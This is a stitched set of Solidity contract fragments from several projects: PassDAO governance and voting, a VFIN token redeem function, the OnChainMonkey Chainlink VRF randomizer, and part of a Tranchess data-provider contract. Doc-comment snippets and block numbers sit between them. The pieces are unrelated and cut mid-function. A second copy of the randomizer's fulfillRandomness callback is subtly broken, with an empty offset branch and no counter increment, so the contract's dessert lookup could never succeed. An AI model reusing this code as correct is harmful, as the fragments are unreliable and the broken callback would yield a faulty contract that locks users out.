minMinutesPeriods) throw; uint _proposalID = Proposals.length++; Proposal p = Proposals[_proposalID]; p.contractor = _contractor; if (_contractorProposalID == 0 && _hashOfTheContractorProposalDocument != 0) { _contractorProposalID = _contractor.newProposal(msg.sender, _amount, _proposalDescription, _hashOfTheContractorProposalDocument); } p.contractorProposalID = _contractorProposalID; if (address(_contractor) == 0) p.amountForShares = _amount; else { _contractor.submitProposal(msg.sender, _contractorProposalID, _amount); if (_contractor.Project().ProjectManager() == address(_contractor)) p.amountForTokens = _amount; else { p.amount = Balance(); if (_amount > p.amount) p.amountForShares = _amount - p.amount; else p.amount = _amount; } } p.moderator = _moderator; p.initialSharePriceMultiplier = _initialSharePriceMultiplier; p.minutesFundingPeriod = _minutesFundingPeriod; p.committeeID = newCommittee(ProposalTypes.contractor, _proposalID, _minutesDebatingPeriod); p.open = true; ProposalSubmitted(_proposalID, p.committeeID, p.contractor, p.contractorProposalID, p.amount+p.amountForShares+p.amountForTokens, _proposalDescription, p.moderator, p.initialSharePriceMultiplier, p.minutesFundingPeriod); return _proposalID; } function resolutionProposal( string _name, string _description, PassProject _project, uint _minutesDebatingPeriod) payable returns (uint) { if (address(_project) == 0) _project = PassProject(passDao.MetaProject()); uint _questionID = ResolutionProposals.length++; Question q = ResolutionProposals[_questionID]; q.project = _project; q.name = _name; q.description = _description; q.committeeID = newCommittee(ProposalTypes.resolution, _questionID, _minutesDebatingPeriod); ResolutionProposalSubmitted(_questionID, q.committeeID, q.project, q.name, q.description); return _questionID; } function rulesProposal( uint _minQuorumDivisor, uint _minCommitteeFees, uint _minPercentageOfLikes, uint _minutesSetProposalPeriod, uint _minMinutesDebatePeriod, uint _feesRewardInflationRate, uint _defaultMinutesFundingPeriod, uint _tokenPriceInflationRate) payable returns (uint) { if (_minQuorumDivisor <= 1 || _minQuorumDivisor > 10 || _minutesSetProposalPeriod < minMinutesPeriods || _minMinutesDebatePeriod < minMinutesPeriods || _feesRewardInflationRate > maxInflationRate || _tokenPriceInflationRate > maxInflationRate || _defaultMinutesFundingPeriod < minMinutesPeriods) throw; uint _rulesProposalID = rulesProposals.length++; Rules r = rulesProposals[_rulesProposalID]; r.minQuorumDivisor = _minQuorumDivisor; r.minCommitteeFees = _minCommitteeFees; r.minPercentageOfLikes = _minPercentageOfLikes; r.minutesSetProposalPeriod = _minutesSetProposalPeriod; r.minMinutesDebatePeriod = _minMinutesDebatePeriod; r.feesRewardInflationRate = _feesRewardInflationRate; r.defaultMinutesFundingPeriod = _defaultMinutesFundingPeriod; r.tokenPriceInflationRate = _tokenPriceInflationRate; r.committeeID = newCommittee(ProposalTypes.rules, _rulesProposalID, 0); RulesProposalSubmitted(_rulesProposalID, r.committeeID, _minQuorumDivisor, _minCommitteeFees, _minPercentageOfLikes, _minutesSetProposalPeriod, _minMinutesDebatePeriod, _feesRewardInflationRate, _defaultMinutesFundingPeriod, _tokenPriceInflationRate); return _rulesProposalID; } function upgradeProposal( address _newCommitteeRoom, address _newShareManager, address _newTokenManager, uint _minutesDebatingPeriod ) payable returns (uint) { uint _upgradeProposalID = UpgradeProposals.length++; Upgrade u = UpgradeProposals[_upgradeProposalID]; u.newCommitteeRoom = _newCommitteeRoom; u.newShareManager = _newShareManager; u.newTokenManager = _newTokenManager; u.committeeID = newCommittee(ProposalTypes.upgrade, _upgradeProposalID, _minutesDebatingPeriod); UpgradeProposalSubmitted(_upgradeProposalID, u.committeeID, u.newCommitteeRoom, u.newShareManager, u.newTokenManager); return _upgradeProposalID; } // Committees management function newCommittee( ProposalTypes _proposalType, uint _proposalID, uint _minutesDebatingPeriod ) internal returns (uint) { if (_minutesDebatingPeriod == 0) _minutesDebatingPeriod = rulesProposals[0].minMinutesDebatePeriod; if (passDao.ActualCommitteeRoom() != address(this) || msg.value < rulesProposals[0].minCommitteeFees || now + ((rulesProposals[0].minutesSetProposalPeriod + _minutesDebatingPeriod) * 1 minutes) < now || _minutesDebatingPeriod < rulesProposals[0].minMinutesDebatePeriod || msg.sender == address(this)) throw; uint _committeeID = Committees.length++; Committee b = Committees[_committeeID]; b.creator = msg.sender; b.proposalType = _proposalType; b.proposalID = _proposalID; b.fees = msg.value; b.setDeadline = now + (rulesProposals[0].minutesSetProposalPeriod * 1 minutes); b.votingDeadline = b.setDeadline + (_minutesDebatingPeriod * 1 minutes); b.open = true; return _committeeID; } function vote( uint _committeeID, bool _supportsProposal) { Committee b = Committees[_committeeID]; if (hasVoted[_committeeID][msg.sender] || now < b.setDeadline || now > b.votingDeadline) throw; PassManager _shareManager = ShareManager(); uint _balance = uint(_shareManager.balanceOf(msg.sender)); if (_balance == 0) throw; hasVoted[_committeeID][msg.sender] = true; _shareManager.blockTransfer(msg.sender, b.votingDeadline); if (_supportsProposal) b.yea += _balance; else b.nay += _balance; uint _a = 100*b.fees; if ((_a/100 != b.fees) || ((_a*_balance)/_a != _balance)) throw; uint _multiplier = (_a*_balance)/uint(_shareManager.totalSupply()); uint _divisor = 100 + 100*rulesProposals[0].feesRewardInflationRate*(now - b.setDeadline)/(100*365 days); uint _rewardedamount = _multiplier/_divisor; if (b.totalRewardedAmount + _rewardedamount > b.fees) _rewardedamount = b.fees - b.totalRewardedAmount; b.totalRewardedAmount += _rewardedamount; if (!msg.sender.send(_rewardedamount)) throw; Voted(_committeeID, _supportsProposal, msg.sender, _rewardedamount); } // Decisions management function executeDecision(uint _committeeID) returns (bool) { Committee b = Committees[_committeeID]; if (now < b.votingDeadline || !b.open) return; b.open = false; PassManager _shareManager = ShareManager(); uint _quantityOfShares; PassManager _tokenManager = TokenManager(); if (100*b.yea > rulesProposals[0].minPercentageOfLikes * uint(_shareManager.totalSupply())) { _quantityOfShares = _shareManager.rewardTokensForClient(b.creator, rulesProposals[0].minCommitteeFees); } uint _sentToDaoManager = b.fees - b.totalRewardedAmount; if (_sentToDaoManager > 0) { if (!address(_shareManager).send(_sentToDaoManager)) throw; } if (b.yea + b.nay < minQuorum() || b.yea <= b.nay) { if (b.proposalType == ProposalTypes.contractor) Proposals[b.proposalID].open = false; ProposalClosed(b.proposalID, b.proposalType, _committeeID, b.totalRewardedAmount, false, _quantityOfShares, _sentToDaoManager); return; } b.dateOfExecution = now; if (b.proposalType == ProposalTypes.contractor) { Proposal p = Proposals[b.proposalID]; if (p.contractorProposalID == 0) p.open = false; if (p.amountForShares == 0 && p.amountForTokens == 0) orderToContractor(b.proposalID); else { if (p.amountForShares != 0) { _shareManager.setFundingRules(p.moderator, p.initialSharePriceMultiplier, p.amountForShares, p.minutesFundingPeriod, 0, b.proposalID); } if (p.amountForTokens != 0) { _tokenManager.setFundingRules(p.moderator, 0, p.amountForTokens, p.minutesFundingPeriod, rulesProposals[0].tokenPriceInflationRate, b.proposalID); } } } else if (b.proposalType == ProposalTypes.resolution) { Question q = ResolutionProposals[b.proposalID]; q.project.newResolution(q.name, q.description); } else if (b.proposalType == ProposalTypes.rules) { Rules r = rulesProposals[b.proposalID]; rulesProposals[0].committeeID = r.committeeID; rulesProposals[0].minQuorumDivisor = r.minQuorumDivisor; rulesProposals[0].minMinutesDebatePeriod = r.minMinutesDebatePeriod; rulesProposals[0].minCommitteeFees = r.minCommitteeFees; rulesProposals[0].minPercentageOfLikes = r.minPercentageOfLikes; rulesProposals[0].minutesSetProposalPeriod = r.minutesSetProposalPeriod; rulesProposals[0].feesRewardInflationRate = r.feesRewardInflationRate; rulesProposals[0].tokenPriceInflationRate = r.tokenPriceInflationRate; rulesProposals[0].defaultMinutesFundingPeriod = r.defaultMinutesFundingPeriod; } else if (b.proposalType == ProposalTypes.upgrade) { Upgrade u = UpgradeProposals[b.proposalID]; if ((u.newShareManager != 0) && (u.newShareManager != address(_shareManager))) { _shareManager.disableTransfer(); if (_shareManager.balance > 0) { if (!_shareManager.sendTo(u.newShareManager, _shareManager.balance)) throw; } } if ((u.newTokenManager != 0) && (u.newTokenManager != address(_tokenManager))) { _tokenManager.disableTransfer(); } passDao.upgrade(u.newCommitteeRoom, u.newShareManager, u.newTokenManager); DappUpgraded(u.newCommitteeRoom, u.newShareManager, u.newTokenManager); } ProposalClosed(b.proposalID, b.proposalType, _committeeID , b.totalRewardedAmount, true, _quantityOfShares, _sentToDaoManager); return true; } function orderToContractor(uint _proposalID) returns (bool) { Proposal p = Proposals[_proposalID]; Committee b = Committees[p.committeeID]; if (b.open || !p.open) return; uint _amountForShares; uint _amountForTokens; if (p.amountForShares != 0) { _amountForShares = ShareManager().FundedAmount(_proposalID); if (_amountForShares == 0 && now <= b.dateOfExecution + (p.minutesFundingPeriod * 1 minutes)) return; } if (p.amountForTokens != 0) { _amountForTokens = TokenManager().FundedAmount(_proposalID); if (_amountForTokens == 0 && now <= b.dateOfExecution + (p.minutesFundingPeriod * 1 minutes)) return; } p.open = false; uint _amount = p.amount + _amountForShares + _amountForTokens; PassProject _project = PassProject(p.contractor.Project()); if (_amount == 0) { ContractorProposalClosed(_proposalID, p.contractorProposalID, p.contractor, 0); return; } if (!p.contractor.order(p.contractorProposalID, _amount)) throw; if (p.amount + _amountForShares > 0) { if (!ShareManager().sendTo(p.contractor, p.amount + _amountForShares)) throw; } if (_amountForTokens > 0) { if (!TokenManager().sendTo(p.contractor, _amountForTokens)) throw; } ContractorProposalClosed(_proposalID, p.contractorProposalID, p.contractor, _amount); passDao.addProject(_project); _project.newOrder(p.contractor, p.contractorProposalID, _amount); return true; } // Holder Account management function buySharesForProposal(uint _proposalID) payable returns (bool) { return ShareManager().buyTokensForProposal.value(msg.value)(_proposalID, msg.sender); } function sendPendingAmounts( uint _from, uint _to, address _buyer) returns (bool) { return ShareManager().sendPendingAmounts(_from, _to, _buyer); } function withdrawPendingAmounts() returns (bool) { if (!ShareManager().sendPendingAmounts(0, 0, msg.sender)) throw; } }
Function to make a proposal to work for the client _creator The address of the creator of the proposal _amount The amount (in wei) of the proposal _description String describing the proposal _hashOfTheDocument The hash of the proposal document return The index of the contractor proposal
function newProposal( address _creator, uint _amount, string _description, bytes32 _hashOfTheDocument ) external returns (uint) { if (msg.sender == Client() && _creator != recipient && _creator != creator) throw; if (msg.sender != Client() && msg.sender != recipient && msg.sender != creator) throw; if (_amount == 0) throw; uint _proposalID = proposals.length++; proposal c = proposals[_proposalID]; c.amount = _amount; c.description = _description; c.hashOfTheDocument = _hashOfTheDocument; c.dateOfProposal = now; ProposalAdded(msg.sender, _proposalID, c.amount, c.description, c.hashOfTheDocument); return _proposalID; }
12,848,222
./partial_match/1/0xd81b3000D6Cad7af85E9939AfAb1243B56618EA9/sources/VFIN.sol
Token Redemption / Redeem the amount of tokens from the address 'msg.sender'. value Number of tokens to redeem. data Information attached to the redemption, by the token holder./
function redeem(uint256 value, bytes calldata data) external override nonReentrant { _redeemByDefaultPartitions(msg.sender, msg.sender, value, data); }
4,032,082
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "./VRFConsumerBase.sol"; import "./Ownable.sol"; // // // ______ __ __ ______ __ __ ______ __ __ __ // /\ __ \ /\ "-.\ \ /\ ___\ /\ \_\ \ /\ __ \ /\ \ /\ "-.\ \ // \ \ \/\ \ \ \ \-. \ \ \ \____ \ \ __ \ \ \ __ \ \ \ \ \ \ \-. \ // \ \_____\ \ \_\\"\_\ \ \_____\ \ \_\ \_\ \ \_\ \_\ \ \_\ \ \_\\"\_\ // \/_____/ \/_/ \/_/ \/_____/ \/_/\/_/ \/_/\/_/ \/_/ \/_/ \/_/ // // __ __ ______ __ __ __ __ ______ __ __ // /\ "-./ \ /\ __ \ /\ "-.\ \ /\ \/ / /\ ___\ /\ \_\ \ // \ \ \-./\ \ \ \ \/\ \ \ \ \-. \ \ \ _"-. \ \ __\ \ \____ \ // \ \_\ \ \_\ \ \_____\ \ \_\\"\_\ \ \_\ \_\ \ \_____\ \/\_____\ // \/_/ \/_/ \/_____/ \/_/ \/_/ \/_/\/_/ \/_____/ \/_____/ // // // // OnChainMonkey (OCM) Genesis was the first 100% On-Chain PFP collection in 1 transaction // (contract: 0x960b7a6BCD451c9968473f7bbFd9Be826EFd549A) // // created by Metagood // // OCM Desserts will be an On-Chain collection that OCM Genesis can eat (burn) to create the // new Karma collection. // // OCM Desserts, being 100% On-Chain, will also live forever, just like OCM Genesis. However, // the Desserts will need to be burned to create Karma, so the Dessert supply will be // decreasing over time. // // This is not the OCM Dessert contract, but the official OCM randomizer. This smart contract // will be the fair and transparent way to generate randomness on chain by using the Chainlink // VRF (Verifiable Random Function). // // The first call will generate the OCM Dessert distribution. // //.................................................................................................... //.................................................................................................... //.................................................................................................... //.................................................................................................... //......................................':ldk0KNWWMMMMWWNK0kdl:'...................................... //..................................:oONMMMMMMMMMMMMMMMMMMMMMMMMNOo;.................................. //..............................'lONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOl'.............................. //............................cOWMMMMMMMMMMWX0kdolllcllodk0XWMMMMMMMMMMWOc............................ //..........................dXMMMMMMMMWKxl,..................,lxKWMMMMMMMMXd.......................... //........................oNMMMMMMMWOl'..........................'lOWMMMMMMMNo........................ //......................lXMMMMMMW0l..................................l0MMMMMMMXl...................... //....................'0MMMMMMMO;......................................;OMMMMMMMO'.................... //...................,XMMMMMMX:..........................................:XMMMMMMX,................... //..................;NMMMMMMO..............................................OMMMMMMN;.................. //.................'XMMMMMMx...kKKKKKKKKKKKKKKKKc........'KKKKKKKKKKKKKKk...xMMMMMMX'................. //..........'coxkOkKMMMMMMx....kXXXXXXXXXXXXXXXXc........'XXXXXXXXXXXXXXk....xMMMMMMKkOkxoc,.......... //.......'dXMMMMMMMMMMMMM0....................................................0MMMMMMMMMMMMMXd'....... //.....'kWMMMMMMMMMMMMMMW,......,ooc...loc...loo'........'l...col...cooc......;WMMMMMMMMMMMMMMWk...... //....,XMMMMMMWKOKMMMMMMk.......'XMW:..':...dMMO.........,Wd...:'..cWMMO.......kMMMMMMKkKWMMMMMMX'.... //....OMMMMMMO,..oMMMMMMl........'kWWOl;;:oKMNo...........cWKo:;:lOWMM0'.......lMMMMMMd..,OMMMMMMO.... //...'WMMMMMK....xMMMMMM:..........'lkKXNX0xc..............'dXMMMMMW0c.........:MMMMMMx....KMMMMMW'... //...'WMMMMMX....xMMMMMM:.....................................';:;,............:MMMMMMx....XMMMMMW'... //....kMMMMMM0:..oMMMMMMo......................................................oMMMMMMo..:0MMMMMMk.... //.....KMMMMMMMNKXMMMMMMO......................................................OMMMMMMXKNMMMMMMMK'.... //......dNMMMMMMMMMMMMMMW:................',:clooddddddoolc:,'................:WMMMMMMMMMMMMMMNd...... //........l0WMMMMMMMMMMMMK...........:dOXWMMMMXokMMMMMMkoXMMMMWXOd:...........KMMMMMMMMMMMMW0l........ //...........;coddd0MMMMMMk.......l0WMMMMMMMMMXokMMMMMMkoXMMMMMMMMMW0l.......OMMMMMM0dddoc;........... //..................KMMMMMMO....'XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK'....kMMMMMMK.................. //..................,XMMMMMM0'..cMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMc..'0MMMMMMX'.................. //...................'KMMMMMMNo..oNMMMMWWWWWWWWWWWWWWWWWWWWWWWWWWMMMMNo..lNMMMMMMK'................... //.....................kMMMMMMMKc..ckXWxllllllllllllllllllllllllxWXkc..cKMMMMMMMk..................... //......................:KMMMMMMMXd,..';ldkOKXNWWMMMMMMWWNXKOkdl;...,dXMMMMMMMK:...................... //........................cXMMMMMMMMKd;..........................;dKMMMMMMMMXc........................ //..........................cKMMMMMMMMMNOd:,................,:dONMMMMMMMMMKc.......................... //............................;xNMMMMMMMMMMMWX0kxddddddxk0XWMMMMMMMMMMMNx;............................ //...............................:xXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXx:............................... //..................................'cx0NMMMMMMMMMMMMMMMMMMMMMMN0xc'.................................. //.......................................,:ldkO0KXNNNNXXKOkdl:,....................................... //.................................................................................................... //.................................................................................................... //.................................................................................................... library Strings { /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } // // Use ChainLink's VRF to distribute the Desserts for OnChainMonkey // // First call sets the Desserts // Later calls to the VRF generate random numbers to be used in future features // contract OCMRandomizer is VRFConsumerBase, Ownable { using Strings for uint256; bytes32 internal keyHash; uint256 internal fee; uint256[] public randomResults; // track all random numbers, first random number is used for Desserts uint256 public counter = 0; // counter of random numbers generated uint256 public offset; // offset of Desserts, set once and locked after first random number event RandomRequested(bytes32 indexed requestId, address indexed requester); event RandomFullfilled(bytes32 indexed requestId, uint256 indexed result); /** * Constructor inherits VRFConsumerBase * * Network: Kovan * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9 * LINK token address: 0xa36085F69e2889c224210F603D836748e7dC0088 * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4 * Request testnet LINK and ETH here: https://faucets.chain.link/ * * retreived from: https://docs.chain.link/docs/vrf-contracts/ * Network: Mainnet * LINK Token 0x514910771AF9Ca656af840dff83E8264EcF986CA * VRF Coordinator 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952 * Key Hash 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445 */ constructor() VRFConsumerBase( 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator 0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token ) { keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * 10 ** 18; // 2 LINK (Varies by network) } /** * Requests randomness, first call is used for Desserts */ function getRandomNumber() external onlyOwner returns (bytes32 requestId) { require(block.number > 14181581, "Not time yet"); require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK"); requestId = requestRandomness(keyHash, fee); emit RandomRequested(requestId, msg.sender); return requestId; } // // Dessert distribution for each OCM# (j) // // If offset is 0, 15 Dessert3s at j = 364, 1301, 1453, 1527, 1601, 1629, 2214, 4097, 5227, 5956, 6694, 6754, 7442, 9132, 9850 // Overall distribution of Desserts is 15 Dessert3, 4485 Dessert2, 5500 Dessert1 // function dessert(uint256 j) public view returns (uint256) { require(counter > 0, "Dessert not served"); require(j>0 && j<10001, 'error'); j = (j + offset) % 10000; // this is the fair and random offset from the VRF uint256 r = (uint256(keccak256(abi.encode(j.toString())))) % 10000; // this is the fixed sequence with the desired rarity distribution if (r < 8) { return 3; // Dessert3 } else if (r >= 5538) { return 2; // Dessert2 } else { return 1; // Dessert1 } } /** * Callback function used by VRF Coordinator */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { randomResults.push(randomness); if (counter == 0) { offset = randomness % 10000; // There is very minor bias in ideal uniform probability distribution because randomness 2**256 % 10000 != 0 } counter++; // Counter could wrap around to 2**256 in theory, but not in practice emit RandomFullfilled(requestId, randomness); } // Withdraw function to avoid locking LINK in the contract function withdrawLink() external onlyOwner { LINK.transfer(owner(), LINK.balanceOf(address(this))); } }
Callback function used by VRF Coordinator/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { randomResults.push(randomness); if (counter == 0) { } emit RandomFullfilled(requestId, randomness); }
5,858,978
// SPDX-License-Identifier: MIT pragma solidity >=0.6.10 <0.8.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "../interfaces/ITrancheIndex.sol"; import "../interfaces/IChessSchedule.sol"; import "../utils/CoreUtility.sol"; import {UnsettledTrade} from "../exchange/LibUnsettledTrade.sol"; import {VESnapshot} from "../exchange/StakingV2.sol"; import "../exchange/ExchangeV2.sol"; import "../fund/Fund.sol"; import "../fund/FundV2.sol"; import "../fund/PrimaryMarket.sol"; import "../fund/PrimaryMarketV2.sol"; import "../governance/InterestRateBallot.sol"; import "../governance/FeeDistributor.sol"; import "../governance/VotingEscrowV2.sol"; interface IExchange { function chessSchedule() external view returns (IChessSchedule); function unsettledTrades( address account, uint256 tranche, uint256 epoch ) external view returns (UnsettledTrade memory); } contract ProtocolDataProvider is ITrancheIndex, CoreUtility { struct ProtocolData { uint256 blockNumber; uint256 blockTimestamp; WalletData wallet; FundData fund; PrimaryMarketData primaryMarket; ExchangeData exchange; GovernanceData governance; SwapPairData pair; } struct WalletData { WalletBalanceData balance; WalletAllowanceData allowance; } struct WalletBalanceData { uint256 nativeCurrency; uint256 underlyingToken; uint256 quoteToken; uint256 tokenM; uint256 tokenA; uint256 tokenB; uint256 chess; } struct WalletAllowanceData { uint256 primaryMarketUnderlying; WalletAllowanceExchangeData exchange; uint256 votingEscrowChess; } struct WalletAllowanceExchangeData { uint256 quoteToken; uint256 tokenM; uint256 tokenA; uint256 tokenB; } struct FundData { bool isFundActive; bool isPrimaryMarketActive; bool isExchangeActive; uint256 fundActivityStartTime; uint256 exchangeActivityStartTime; uint256 currentDay; uint256 currentWeek; uint256 dailyProtocolFeeRate; uint256 totalShares; uint256 totalUnderlying; uint256 rebalanceSize; uint256 currentInterestRate; Fund.Rebalance lastRebalance; uint256 relativeWeight; uint256 strategyUnderlying; } struct PrimaryMarketData { uint256 currentCreatingUnderlying; uint256 currentRedeemingShares; uint256 fundCap; PrimaryMarketAccountData account; } struct PrimaryMarketAccountData { uint256 creatingUnderlying; uint256 redeemingShares; uint256 createdShares; uint256 redeemedUnderlying; uint256[16] recentDelayedRedemptions; } struct ExchangeData { Shares totalDeposited; uint256 weightedSupply; uint256 workingSupply; ExchangeAccountData account; } struct ExchangeAccountData { Shares available; Shares locked; uint256 weightedBalance; uint256 workingBalance; VESnapshot veSnapshot; bool isMaker; uint256 chessRewards; } struct Shares { uint256 tokenM; uint256 tokenA; uint256 tokenB; } struct GovernanceData { uint256 chessTotalSupply; uint256 chessRate; VotingEscrowData votingEscrow; BallotData interestRateBallot; FeeDistributorData feeDistributor; } struct VotingEscrowData { uint256 totalLocked; uint256 totalSupply; uint256 tradingWeekTotalSupply; IVotingEscrow.LockedBalance account; } struct BallotData { uint256 tradingWeekTotalSupply; IBallot.Voter account; } struct FeeDistributorData { FeeDistributorAccountData account; uint256 currentRewards; uint256 currentSupply; uint256 tradingWeekTotalSupply; uint256 adminFeeRate; } struct FeeDistributorAccountData { uint256 claimableRewards; uint256 currentBalance; uint256 amount; uint256 unlockTime; } struct SwapPairData { uint112 reserve0; uint112 reserve1; address token0; address token1; } string public constant VERSION = "1.2.0"; /// @dev This function should be call as a "view" function off-chain to get the return value, /// e.g. using `contract.getProtocolData.call()` in web3 /// or `contract.callStatic.getProtocolData()` in ethers.js. function getProtocolData( address primaryMarket, address exchange, address swapPair, address feeDistributor, address account, uint256 fundVersion ) external returns (ProtocolData memory data) { data.blockNumber = block.number; data.blockTimestamp = block.timestamp; data.wallet = getWalletData(primaryMarket, exchange, account); data.fund = getFundData(primaryMarket, exchange, fundVersion); data.primaryMarket = getPrimaryMarketData(primaryMarket, account, fundVersion); data.exchange = getExchangeData(exchange, account); data.governance = getGovernanceData(exchange, feeDistributor, account); data.pair = getSwapPairData(swapPair); } function getWalletData( address primaryMarket, address exchange, address account ) public view returns (WalletData memory data) { Fund fund = Fund(address(ExchangeV2(exchange).fund())); VotingEscrowV2 votingEscrow = VotingEscrowV2(address(InterestRateBallot(address(fund.ballot())).votingEscrow())); IERC20 underlyingToken = IERC20(fund.tokenUnderlying()); IERC20 quoteToken = IERC20(ExchangeV2(exchange).quoteAssetAddress()); IERC20 chessToken = IERC20(votingEscrow.token()); data.balance.nativeCurrency = account.balance; data.balance.underlyingToken = underlyingToken.balanceOf(account); data.balance.quoteToken = quoteToken.balanceOf(account); (data.balance.tokenM, data.balance.tokenA, data.balance.tokenB) = fund.allShareBalanceOf( account ); data.balance.chess = chessToken.balanceOf(account); data.allowance.primaryMarketUnderlying = underlyingToken.allowance(account, primaryMarket); data.allowance.exchange.quoteToken = quoteToken.allowance(account, exchange); data.allowance.exchange.tokenM = fund.shareAllowance(TRANCHE_M, account, exchange); data.allowance.exchange.tokenA = fund.shareAllowance(TRANCHE_A, account, exchange); data.allowance.exchange.tokenB = fund.shareAllowance(TRANCHE_B, account, exchange); data.allowance.votingEscrowChess = chessToken.allowance(account, address(votingEscrow)); } function getFundData( address primaryMarket, address exchange, uint256 fundVersion ) public returns (FundData memory data) { Fund fund = Fund(address(ExchangeV2(exchange).fund())); data.isFundActive = fund.isFundActive(block.timestamp); data.isPrimaryMarketActive = fund.isPrimaryMarketActive(primaryMarket, block.timestamp); data.isExchangeActive = fund.isExchangeActive(block.timestamp); data.fundActivityStartTime = fund.fundActivityStartTime(); data.exchangeActivityStartTime = fund.exchangeActivityStartTime(); data.currentDay = fund.currentDay(); data.currentWeek = _endOfWeek(data.currentDay - 1 days); data.dailyProtocolFeeRate = fund.dailyProtocolFeeRate(); data.totalShares = fund.getTotalShares(); data.rebalanceSize = fund.getRebalanceSize(); data.currentInterestRate = fund.historicalInterestRate(data.currentWeek); uint256 rebalanceSize = fund.getRebalanceSize(); data.lastRebalance = fund.getRebalance(rebalanceSize == 0 ? 0 : rebalanceSize - 1); ExchangeV2(exchange).refreshBalance(address(0), 0); // Trigger checkpoint data.relativeWeight = ExchangeV2(exchange).chessController().getFundRelativeWeight( address(fund), block.timestamp ); if (fundVersion < 2) { IERC20 underlyingToken = IERC20(fund.tokenUnderlying()); data.totalUnderlying = underlyingToken.balanceOf(address(fund)); } else { data.totalUnderlying = FundV2(address(fund)).getTotalUnderlying(); data.strategyUnderlying = FundV2(address(fund)).getStrategyUnderlying(); } } function getPrimaryMarketData( address primaryMarket, address account, uint256 fundVersion ) public returns (PrimaryMarketData memory data) { PrimaryMarketV2 primaryMarket_ = PrimaryMarketV2(payable(primaryMarket)); data.currentCreatingUnderlying = primaryMarket_.currentCreatingUnderlying(); data.currentRedeemingShares = primaryMarket_.currentRedeemingShares(); PrimaryMarketV2.CreationRedemption memory cr = primaryMarket_.creationRedemptionOf(account); data.account.creatingUnderlying = cr.creatingUnderlying; data.account.redeemingShares = cr.redeemingShares; data.account.createdShares = cr.createdShares; data.account.redeemedUnderlying = cr.redeemedUnderlying; if (fundVersion >= 2) { data.fundCap = primaryMarket_.fundCap(); uint256 currentDay = primaryMarket_.currentDay(); for (uint256 i = 0; i < 16; i++) { (data.account.recentDelayedRedemptions[i], ) = primaryMarket_.getDelayedRedemption( account, currentDay - (i + 1) * 1 days ); } } } function getExchangeData(address exchange, address account) public returns (ExchangeData memory data) { ExchangeV2 exchangeContract = ExchangeV2(exchange); data.totalDeposited.tokenM = exchangeContract.totalSupply(TRANCHE_M); data.totalDeposited.tokenA = exchangeContract.totalSupply(TRANCHE_A); data.totalDeposited.tokenB = exchangeContract.totalSupply(TRANCHE_B); data.weightedSupply = exchangeContract.weightedBalance( data.totalDeposited.tokenM, data.totalDeposited.tokenA, data.totalDeposited.tokenB ); data.workingSupply = exchangeContract.workingSupply(); data.account.available.tokenM = exchangeContract.availableBalanceOf(TRANCHE_M, account); data.account.available.tokenA = exchangeContract.availableBalanceOf(TRANCHE_A, account); data.account.available.tokenB = exchangeContract.availableBalanceOf(TRANCHE_B, account); data.account.locked.tokenM = exchangeContract.lockedBalanceOf(TRANCHE_M, account); data.account.locked.tokenA = exchangeContract.lockedBalanceOf(TRANCHE_A, account); data.account.locked.tokenB = exchangeContract.lockedBalanceOf(TRANCHE_B, account); data.account.weightedBalance = exchangeContract.weightedBalance( data.account.available.tokenM + data.account.locked.tokenM, data.account.available.tokenA + data.account.locked.tokenA, data.account.available.tokenB + data.account.locked.tokenB ); data.account.workingBalance = exchangeContract.workingBalanceOf(account); data.account.veSnapshot = exchangeContract.veSnapshotOf(account); data.account.isMaker = exchangeContract.isMaker(account); data.account.chessRewards = exchangeContract.claimableRewards(account); } function getGovernanceData( address exchange, address feeDistributor, address account ) public returns (GovernanceData memory data) { Fund fund = Fund(address(ExchangeV2(exchange).fund())); VotingEscrowV2 votingEscrow = VotingEscrowV2(address(InterestRateBallot(address(fund.ballot())).votingEscrow())); IERC20 chessToken = IERC20(votingEscrow.token()); IChessSchedule chessSchedule = ExchangeV2(exchange).chessSchedule(); uint256 blockCurrentWeek = _endOfWeek(block.timestamp); data.chessTotalSupply = chessToken.totalSupply(); data.chessRate = chessSchedule.getRate(block.timestamp); data.votingEscrow.totalLocked = votingEscrow.totalLocked(); data.votingEscrow.totalSupply = votingEscrow.totalSupply(); data.votingEscrow.tradingWeekTotalSupply = votingEscrow.totalSupplyAtTimestamp( blockCurrentWeek ); data.votingEscrow.account = votingEscrow.getLockedBalance(account); data.interestRateBallot.tradingWeekTotalSupply = InterestRateBallot(address(fund.ballot())) .totalSupplyAtTimestamp(blockCurrentWeek); data.interestRateBallot.account = InterestRateBallot(address(fund.ballot())).getReceipt( account ); if (feeDistributor != address(0)) { FeeDistributor feeDistributor_ = FeeDistributor(payable(feeDistributor)); data.feeDistributor.account.claimableRewards = feeDistributor_.userCheckpoint(account); data.feeDistributor.account.currentBalance = feeDistributor_.userLastBalances(account); ( data.feeDistributor.account.amount, data.feeDistributor.account.unlockTime ) = feeDistributor_.userLockedBalances(account); data.feeDistributor.currentRewards = feeDistributor_.rewardsPerWeek( blockCurrentWeek - 1 weeks ); 